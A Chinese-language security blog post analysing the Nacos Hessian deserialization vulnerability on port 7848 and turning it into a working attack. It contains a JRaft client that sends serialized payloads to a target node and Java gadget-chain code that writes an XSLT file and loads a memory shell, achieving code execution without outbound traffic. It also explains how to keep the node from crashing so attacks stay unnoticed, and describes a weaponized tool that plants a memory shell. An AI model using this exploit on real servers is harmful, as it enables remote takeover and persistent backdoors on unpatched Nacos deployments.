0x00 前言

5月25日 Nacos 发布一条安全公告,声称其在 2.2.3 和 1.4.6 两个大版本修复了 7848 端口下一处 Hessian 反序列化漏洞;网上有许多分析,但没有一篇分析能够把问题阐述清楚且解决掉,于是写下这篇文章,仅做记录。

0x01 漏洞分析

既然是 Hessian 反序列化,第一步要做的是查找对应的反序列化触发点,在项目中搜索 Hessian 可得到如下结果:

挨个查看后发现 HessianSerializer 是实际反序列化的触发点,但代码中不会直接调用它,而是通过 SerializeFactory 根据预期的反序列化漏洞(JSON、Hessian)获取实际的反序列化实现类,默认的反序列化实现为 HessianSerializer:

public class SerializeFactory {
    public static final String HESSIAN_INDEX = "Hessian".toLowerCase();
    private static final Map<String, Serializer> SERIALIZER_MAP = new HashMap<>(4);
    public static String defaultSerializer = HESSIAN_INDEX;
    static {        Serializer serializer = new HessianSerializer();        SERIALIZER_MAP.put(HESSIAN_INDEX, serializer);        for (Serializer item : NacosServiceLoader.load(Serializer.class)) {            SERIALIZER_MAP.put(item.name().toLowerCase(), item);        }    }
    public static Serializer getDefault() {        return SERIALIZER_MAP.get(defaultSerializer);    }
    public static Serializer getSerializer(String type) {        return SERIALIZER_MAP.get(type.toLowerCase());    }}

搜索发现代码中并没有调用 getSerializer(“Hessian”) 的操作,因此转而继续搜索 SerializeFactory.getDefault(),得到如下结果:

继续分析后发现 JRaftProtocol、JRaftServer 等都不是实际的触发点,它们并不会调用serializer.deserialize方法,实际调用的只有 PersistentClientOperationServiceImpl、ServiceMetadataProcessor、InstanceMetadataProcessor、DistributedDatabaseOperateImpl四个类。

观察后发现这几个类有几个共同点,比如都继承了 RequestProcessor4CP,并且都实现了 onApply、onRequest、group 这三个方法,根据之前审代码的经验,基本可以确定 Nacos 是根据 group 方法对应的 groupId 决定请求是下发给哪个类进行处理

接下来的过程很痛苦,大致就是知道漏洞在哪,但不知道怎么调过去,最后参考了网上诸多文章,终于写出了个客户端 Demo:

import com.alibaba.nacos.consistency.entity.GetRequest;import com.alibaba.nacos.consistency.entity.WriteRequest;import com.alipay.sofa.jraft.option.CliOptions;import com.alipay.sofa.jraft.rpc.RpcClient;import com.alipay.sofa.jraft.rpc.impl.MarshallerHelper;import com.alipay.sofa.jraft.rpc.impl.cli.CliClientServiceImpl;import com.alipay.sofa.jraft.util.Endpoint;import com.caucho.hessian.io.Hessian2Output;import com.google.protobuf.ByteString;import com.google.protobuf.Message;
import java.io.ByteArrayOutputStream;import java.lang.reflect.Field;import java.util.Map;
public class JRaftClient {    public static void main(String[] args)throws Exception {        final CliClientServiceImpl cliClientService = new CliClientServiceImpl();        cliClientService.init(new CliOptions());        setProperties(cliClientService.getRpcClient());
        WriteRequest.Builder writeRequestBuilder = WriteRequest.newBuilder().setGroup("naming_service_metadata").setData(serialize("hessian_payload_object"));        Object o = cliClientService.getRpcClient().invokeSync(new Endpoint("172.16.0.8", 7848), writeRequestBuilder.build(), 10000);    }
    @SuppressWarnings("unchecked")    public static void setProperties(RpcClient rpcClient) throws Exception {        Field parserClasses = rpcClient.getClass().getDeclaredField("parserClasses");        parserClasses.setAccessible(true);        Map<String, Message> map = (Map<String, Message>) parserClasses.get(rpcClient);        map.put("com.alibaba.nacos.consistency.entity.WriteRequest", WriteRequest.getDefaultInstance());        map.put("com.alibaba.nacos.consistency.entity.GetRequest", GetRequest.getDefaultInstance());
        Field messages = MarshallerHelper.class.getDeclaredField("messages");        messages.setAccessible(true);        Map<String, Message> messageMap = (Map<String, Message>) messages.get(MarshallerHelper.class);        messageMap.put("com.alibaba.nacos.consistency.entity.WriteRequest", WriteRequest.getDefaultInstance());        messageMap.put("com.alibaba.nacos.consistency.entity.GetRequest", GetRequest.getDefaultInstance());    }
    public static ByteString serialize(Object o) throws Exception {        ByteArrayOutputStream bos = new ByteArrayOutputStream();        Hessian2Output out = new Hessian2Output(bos);        out.getSerializerFactory().setAllowNonSerializable(true);        out.writeObject(o);        out.close();
        return ByteString.copyFrom(bos.toByteArray());    }}

其中 WriteRequest 那段的 setData 则是用来设置反序列化的 payload,最终触发 Hessian 反序列化:

0x02 漏洞利用

上面是完整的漏洞原理分析,接下来解决一些网上说的普遍存在的问题。

2.0 无损利用原理

网传这个漏洞最大的问题就是打一次就崩,那么到底是为什么打一次就崩呢?经过深入分析发现,Nacos 在反序列化时并没有使用异常处理,导致 Hessian 反序列化后的对象与预期的对象不符,此时产生对象转换异常。

产生异常后会将当前节点的状态设置为 STATE_ERROR,回溯历史调用栈发现 AbstractProcessor 会先获取 group 对应的 Node,并判断 Node 是否为 leaderNode,如果不是则返回错误,反之才会调用 execute 方法继续往下走。

如果某个 Node 在反序列化时产生异常,则其状态为 State.STATE_ERROR,不符合 isLeader 的逻辑,因此无法正常服务:

那么应该如何解决这个问题呢,观察反序列化的代码可以发现预期是希望返回 MetadataOperation 对象:

MetadataOperation<ServiceMetadata> op = (MetadataOperation)this.serializer.deserialize(request.getData().toByteArray(), this.processType);

这个对象有一个属性 metadata 是泛型,也就是它是任意类型都可以,所以不难想到我们可以构造一个 MetadataOperation 对象,并在其 metadata 属性设置恶意对象,这样设置可以让反序列化后的对象符合预期,不会产生报错,此时 Node 不触发异常,后续即可正常服务。

2.1 更加通用的 gadget

网传使用的 gadget 一般是 JNDI、BCEL,因为 JNDI 需要出网,且 BCELClassLoader 在 8.x 的较高版本中不存在了,因此算不上是比较完美的利用。那么就没有完美的利用了吗?其实并不是,通过 BCEL + 写文件就可以实现一个比较通用的解法。

利用 SwingLazyValue 结合 com.sun.org.apache.xml.internal.security.utils.JavaUtils 和 com.sun.org.apache.xalan.internal.xslt.Process 可以写入本地文件后通过 XSLT 加载最终实现不出网的任意代码执行

相关代码:

import javassist.ClassClassPath;import javassist.ClassPool;import javassist.CtClass;import sun.swing.SwingLazyValue;
import javax.swing.*;import java.lang.reflect.Array;import java.lang.reflect.Constructor;import java.util.HashMap;import java.util.Hashtable;import java.util.Random;
public class HessianPayload {
    final static String xsltTemplate = "<xsl:stylesheet version=\"1.0\" xmlns:xsl=\"http://www.w3.org/1999/XSL/Transform\"\n" +            "xmlns:b64=\"http://xml.apache.org/xalan/java/sun.misc.BASE64Decoder\"\n" +            "xmlns:ob=\"http://xml.apache.org/xalan/java/java.lang.Object\"\n" +            "xmlns:th=\"http://xml.apache.org/xalan/java/java.lang.Thread\"\n" +            "xmlns:ru=\"http://xml.apache.org/xalan/java/org.springframework.cglib.core.ReflectUtils\"\n" +            ">\n" +            "    <xsl:template match=\"/\">\n" +            "      <xsl:variable name=\"bs\" select=\"b64:decodeBuffer(b64:new(),'<base64_payload>')\"/>\n" +            "      <xsl:variable name=\"cl\" select=\"th:getContextClassLoader(th:currentThread())\"/>\n" +            "      <xsl:variable name=\"rce\" select=\"ru:defineClass('<class_name>',$bs,$cl)\"/>\n" +            "      <xsl:value-of select=\"$rce\"/>\n" +            "    </xsl:template>\n" +            "  </xsl:stylesheet>";
    public static String genClassName() {        Random random = new Random();        int length = random.nextInt(10) + 1; // 随机生成字符串的长度,范围从1到10        StringBuilder sb = new StringBuilder(length);        for (int i = 0; i < length; i++) {            char c = (char) (random.nextInt('z' - 'a') + 'a'); // 生成随机字符,范围从a到z            sb.append(c);        }        return sb.toString();    }
    public static HashMap<Object, Object> makeMap(Object v1, Object v2) throws Exception {        HashMap<Object, Object> s = new HashMap<>();        Reflections.setFieldValue(s, "size", 2);        Class<?> nodeC;        try {            nodeC = Class.forName("java.util.HashMap$Node");        } catch (ClassNotFoundException e) {            nodeC = Class.forName("java.util.HashMap$Entry");        }        Constructor<?> nodeCons = nodeC.getDeclaredConstructor(int.class, Object.class, Object.class, nodeC);        nodeCons.setAccessible(true);
        Object tbl = Array.newInstance(nodeC, 2);        Array.set(tbl, 0, nodeCons.newInstance(0, v1, v1, null));        Array.set(tbl, 1, nodeCons.newInstance(0, v2, v2, null));        Reflections.setFieldValue(s, "table", tbl);        return s;    }
    public static Object genPayload(String payloadType) throws Exception {        SwingLazyValue value = null;        if (payloadType.equals("writeFile")) {            ClassPool cp = ClassPool.getDefault();            cp.insertClassPath(new ClassClassPath(MemShell.class));            CtClass cc = cp.get(MemShell.class.getName());            cc.setName(genClassName());            byte[] bs = cc.toBytecode();            String base64Code = new sun.misc.BASE64Encoder().encode(bs).replaceAll("\n", "");            String xslt = xsltTemplate.replace("<base64_payload>", base64Code).replace("<class_name>", cc.getName());            value = new SwingLazyValue("com.sun.org.apache.xml.internal.security.utils.JavaUtils", "writeBytesToFilename", new Object[]{"/tmp/nacos_data_temp", xslt.getBytes()});        } else if (payloadType.equals("xslt")) {            value = new SwingLazyValue("com.sun.org.apache.xalan.internal.xslt.Process", "_main", new Object[]{new String[]{"-XT", "-XSL", "file:///tmp/nacos_data_temp"}});        }

        UIDefaults uiDefaults = new UIDefaults();        uiDefaults.put(value, value);
        Hashtable<Object, Object> hashtable = new Hashtable<>();        hashtable.put(value, value);
        return makeMap(uiDefaults, hashtable);    }}

但这也产生了一个不算问题的问题,即我们需要打两次反序列化才能走完所有的流程。

2.2 一个 Hessian 反序列化技巧

2.1 中介绍的 XSLT 反序列加载本地文件正常情况下需要发两次包触发两次 Hessian 反序列才能实现代码执行,大哥教了我一个方法可以在一个请求内触发所有的 payload(不依赖于 gadget 本身):

原理是自己修改实现类的代码,把原类从 lib 中删除,自定义的增加几个 Object 类型的属性,在 Server 进行反序列化时也会将这几个属性一块反序列化了,这部分涉及到 Hessian 对字节数组的解析逻辑,不在这篇文章中分析了。

2.3 探明 “真正” 的漏洞影响范围

网上许多应急文章都有传 Nacos 1.x 也受影响,经过深入分析后发现这可能是一次误判;这里说的误判不代表 Nacos 在 1.x 不存在 Hessian 反序列化的隐患,只是说无法正常利用。

对 1.4.x 进行分析后发现,调用了 SerializeFactory.getDefault()#deserialize 方法的只有 DistributedDatabaseOperateImpl 这一个类,其它的都是利用 Jackson 实现的反序列化。

DistributedDatabaseOperateImpl 对应的 groupId 为 nacos_config,实测发现我们是无法通过 RPC 调到这个 groupId 对应的 onApply 方法的,因此自然也不存在 Hessian 反序列化漏洞的利用。

0x03 武器化

我基于上面漏洞利用的原理编写了一个漏洞利用工具,输入 ip、webPort、raftPort、groupId 即可返还给你一个内存马。

完整流程为:通过 web 获取 Nacos 版本并与受影响的版本进行匹配 -> 发起 RPC 请求触发反序列化 -> 遍历线程中马。

对于不存在漏洞的版本输出提示:

免责声明

本文仅用于技术讨论与学习,利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,本平台和发布者不为此承担任何责任。